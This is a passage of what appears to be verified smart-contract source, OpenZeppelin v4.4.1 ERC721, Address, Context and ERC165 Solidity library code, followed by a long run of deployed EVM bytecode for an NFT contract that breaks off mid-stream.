+= 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c8063804f43cd116100ec578063ac4460021161008a578063b88d4fde11610064578063b88d4fde1461055b578063c87b56dd14610584578063e985e9c5146105c1578063f2fde38b146105fe5761019c565b8063ac44600214610504578063b05863d51461051b578063b5c16e81146105445761019c565b806392dbe9a9116100c657806392dbe9a91461045c57806395d89b4114610473578063a22cb4651461049e578063a7cd52cb146104c75761019c565b8063804f43cd146103fc5780638da5cb5b14610406578063922400ff146104315761019c565b806335c6aaf8116101595780634f02c420116101335780634f02c420146103405780636352211e1461036b57806370a08231146103a8578063715018a6146103e55761019c565b806335c6aaf8146102c3578063375a069a146102ee57806342842e0e146103175761019c565b806301ffc9a7146101a157806306fdde03146101de578063081812fc14610209578063095ea7b31461024657806323b872dd1461026f57806327e18f0014610298575b600080fd5b3480156101ad57600080fd5b506101c860048036038101906101c39190612c0b565b610627565b6040516101d59190613243565b60405180910390f35b3480156101ea57600080fd5b506101f3610709565b604051610200919061325e565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612c5d565b61079b565b60405161023d91906131b3565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612b63565b610820565b005b34801561027b57600080fd5b5061029660048036038101906102919190612a5d565b610938565b005b3480156102a457600080fd5b506102ad610998565b6040516102ba91906135c0565b60405180910390f35b3480156102cf57600080fd5b506102d86109bc565b6040516102e591906135c0565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612c5d565b6109e0565b005b34801561032357600080fd5b5061033e60048036038101906103399190612a5d565b610b29565b005b34801561034c57600080fd5b50610355610b49565b60405161036291906135c0565b60405180910390f35b34801561037757600080fd5b50610392600480360381019061038d9190612c5d565b610b4f565b60405161039f91906131b3565b60405180910390f35b3480156103b457600080fd5b506103cf60048036038101906103ca91906129f8565b610c01565b6040516103dc91906135c0565b60405180910390f35b3480156103f157600080fd5b506103fa610cb9565b005b610404610d41565b005b34801561041257600080fd5b5061041b61103b565b60405161042891906131b3565b60405180910390f35b34801561043d57600080fd5b50610446611065565b6040516104539190613243565b60405180910390f35b34801561046857600080fd5b50610471611078565b005b34801561047f57600080fd5b50610488611111565b604051610495919061325e565b60405180910390f35b3480156104aa57600080fd5b506104c560048036038101906104c09190612b27565b6111a3565b005b3480156104d357600080fd5b506104ee60048036038101906104e991906129f8565b6111b9565b6040516104fb91906135c0565b60405180910390f35b34801561051057600080fd5b506105196111d1565b005b34801561052757600080fd5b50610542600480360381019061053d9190612b9f565b611352565b005b34801561055057600080fd5b506105596114fa565b005b34801561056757600080fd5b50610582600480360381019061057d9190612aac565b611593565b005b34801561059057600080fd5b506105ab60048036038101906105a69190612c5d565b6115f5565b6040516105b8919061325e565b60405180910390f35b3480156105cd57600080fd5b506105e860048036038101906105e39190612a21565b611747565b6040516105f59190613243565b60405180910390f35b34801561060a57600080fd5b50610625600480360381019061062091906129f8565b6117db565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106f257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806107025750610701826118d3565b5b9050919050565b60606000805461071890613872565b80601f016020809104026020016040519081016040528092919081815260200182805461074490613872565b80156107915780601f1061076657610100808354040283529160200191610791565b820191906000526020600020905b81548152906001019060200180831161077457829003601f168201915b5050505050905090565b60006107a68261193d565b6107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc906134a0565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061082b82610b4f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390613520565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108bb6119a9565b73ffffffffffffffffffffffffffffffffffffffff1614806108ea57506108e9816108e46119a9565b611747565b5b610929576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610920906133e0565b60405180910390fd5b61093383836119b1565b505050565b6109496109436119a9565b82611a6a565b610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f90613560565b60405180910390fd5b610993838383611b48565b505050565b7f000000000000000000000000000000000000000000000000000000000000014d81565b7f0000000000000000000000000000000000000000000000000214e8348c4f000081565b6109e86119a9565b73ffffffffffffffffffffffffffffffffffffffff16610a0661103b565b73ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906134c0565b60405180910390fd5b60005b81811015610b25576000610a736009611daf565b90506000610a8082611dbd565b604051602001610a909190613186565b6040516020818303038152906040529050610aab3383611f6a565b610ab58282611f88565b610abf6009611ffc565b600c6000815480929190610ad2906138d5565b91905055507f9562219d8ea958f10d3996f62dbd348f63dfed6a765808b9c53b2f47594663ae3383604051610b0892919061321a565b60405180910390a150508080610b1d906138d5565b915050610a5f565b5050565b610b4483838360405180602001604052806000815250611593565b505050565b600c5481565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613420565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6990613400565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cc16119a9565b73ffffffffffffffffffffffffffffffffffffffff16610cdf61103b565b73ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c906134c0565b60405180910390fd5b610d3f6000612012565b565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da6906133c0565b60405180910390fd5b600a60009054906101000a900460ff16610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590613320565b60405180910390fd5b60011515600a60009054906101000a900460ff16151514610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b906132a0565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90613500565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000214e8348c4f0000341015610f39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3090613380565b60405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610f8990613848565b91905055506000610f9a6009611daf565b90506000610fa782611dbd565b604051602001610fb79190613186565b6040516020818303038152906040529050610fd23383611f6a565b610fdc8282611f88565b610fe66009611ffc565b600c6000815480929190610ff9906138d5565b91905055507f9562219d8ea958f10d3996f62dbd348f63dfed6a765808b9c53b2f47594663ae338360405161102f92919061321a565b60405180910390a15050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a60009054906101000a900460ff1681565b6110806119a9565b73ffffffffffffffffffffffffffffffffffffffff1661109e61103b565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb906134c0565b60405180910390fd5b6000600a60006101000a81548160ff021916908315150217905550565b60606001805461112090613872565b80601f016020809104026020016040519081016040528092919081815260200182805461114c90613872565b80156111995780601f1061116e57610100808354040283529160200191611199565b820191906000526020600020905b81548152906001019060200180831161117c57829003601f168201915b5050505050905090565b6111b56111ae6119a9565b83836120d8565b5050565b600b6020528060005260406000206000915090505481565b6111d96119a9565b73ffffffffffffffffffffffffffffffffffffffff166111f761103b565b73ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611244906134c0565b60405180910390fd5b60026008541415611293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128a90613580565b60405180910390fd5b600260088190555060003373ffffffffffffffffffffffffffffffffffffffff16476040516112c190613171565b60006040518083038185875af1925050503d80600081146112fe576040519150601f19603f3d011682016040523d82523d6000602084013e611303565b606091505b5050905080611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90613540565b60405180910390fd5b506001600881905550565b61135a6119a9565b73ffffffffffffffffffffffffffffffffffffffff1661137861103b565b73ffffffffffffffffffffffffffffffffffffffff16146113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906134c0565b60405180910390fd5b8051825114611412576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611409906135a0565b60405180910390fd5b60005b82518110156114f557818181518110611457577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600b600085848151811061149c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806114ed906138d5565b915050611415565b505050565b6115026119a9565b73ffffffffffffffffffffffffffffffffffffffff1661152061103b565b73ffffffffffffffffffffffffffffffffffffffff1614611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d906134c0565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b6115a461159e6119a9565b83611a6a565b6115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90613560565b60405180910390fd5b6115ef84848484612245565b50505050565b60606116008261193d565b61163f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163690613480565b60405180910390fd5b600060066000848152602001908152602001600020805461165f90613872565b80601f016020809104026020016040519081016040528092919081815260200182805461168b90613872565b80156116d85780601f106116ad576101008083540402835291602001916116d8565b820191906000526020600020905b8154815290600101906020018083116116bb57829003601f168201915b5050505050905060006116e96122a1565b90506000815114156116ff578192505050611742565b60008251111561173457808260405160200161171c92919061314d565b60405160208183030381529060405292505050611742565b61173d846122b8565b925050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6117e36119a9565b73ffffffffffffffffffffffffffffffffffffffff1661180161103b565b73ffffffffffffffffffffffffffffffffffffffff1614611857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184e906134c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be906132c0565b60405180910390fd5b6118d081612012565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611a2483610b4f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611a758261193d565b611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab906133a0565b60405180910390fd5b6000611abf83610b4f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611b2e57508373ffffffffffffffffffffffffffffffffffffffff16611b168461079b565b73ffffffffffffffffffffffffffffffffffffffff16145b80611b3f5750611b3e8185611747565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611b6882610b4f565b73ffffffffffffffffffffffffffffffffffffffff1614611bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb5906132e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590613340565b60405180910390fd5b611c3983838361235f565b611c446000826119b1565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c94919061375e565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ceb91906136d7565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611daa838383612364565b505050565b600081600001549050919050565b60606000821415611e05576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611f65565b600082905060005b60008214611e37578080611e20906138d5565b915050600a82611e30919061372d565b9150611e0d565b60008167ffffffffffffffff811115611e79577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611eab5781602001600182028036833780820191505090505b5090505b60008514611f5e57600182611ec4919061375e565b9150600a85611ed3919061391e565b6030611edf91906136d7565b60f81b818381518110611f1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611f57919061372d565b9450611eaf565b8093505050505b919050565b611f84828260405180602001604052806000815250612369565b5050565b611f918261193d565b611fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc790613440565b60405180910390fd5b80600660008481526020019081526020016000209080519060200190611ff7929190612758565b505050565b6001816000016000828254019250508190555050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90613360565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051